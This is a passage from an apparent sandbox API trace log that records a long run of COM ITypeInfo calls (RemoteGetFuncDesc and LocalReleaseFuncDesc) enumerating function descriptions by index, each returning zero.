(in: This=0x2885d271268, index=0x5a, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.383] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5b, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5c, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5d, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5e, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5f, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x60, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x61, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x62, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x63, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x64, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x65, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x66, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x67, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x68, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x69, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6a, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6b, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6c, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6d, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.384] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.384] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6e, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6f, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x70, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x71, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x72, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x73, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x74, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x75, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x76, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x77, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x78, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x79, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7a, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7b, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7c, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7d, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7e, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7f, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x80, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.385] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x81, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.385] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x82, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x83, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x84, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x85, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x86, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x87, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x88, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x89, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8a, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8b, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8c, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8d, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8e, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8f, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x90, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x91, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x92, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x93, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.386] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x94, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.386] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x95, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x96, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x97, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x98, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x99, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9a, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9b, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9c, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9d, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9e, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9f, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa0, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa1, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa2, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa3, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa4, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa5, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa6, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.387] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa7, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.387] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa8, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa9, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xaa, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xab, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xac, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xad, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xae, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xaf, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb0, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb1, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb2, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb3, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb4, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb5, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb6, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb7, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb8, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0071.388] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb9, ppFuncDesc=0xbcb38f5808, pDummy=0x6 | out: ppFuncDesc=0xbcb38f5808, pDummy=0x6) returned 0x0 [0071.388] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 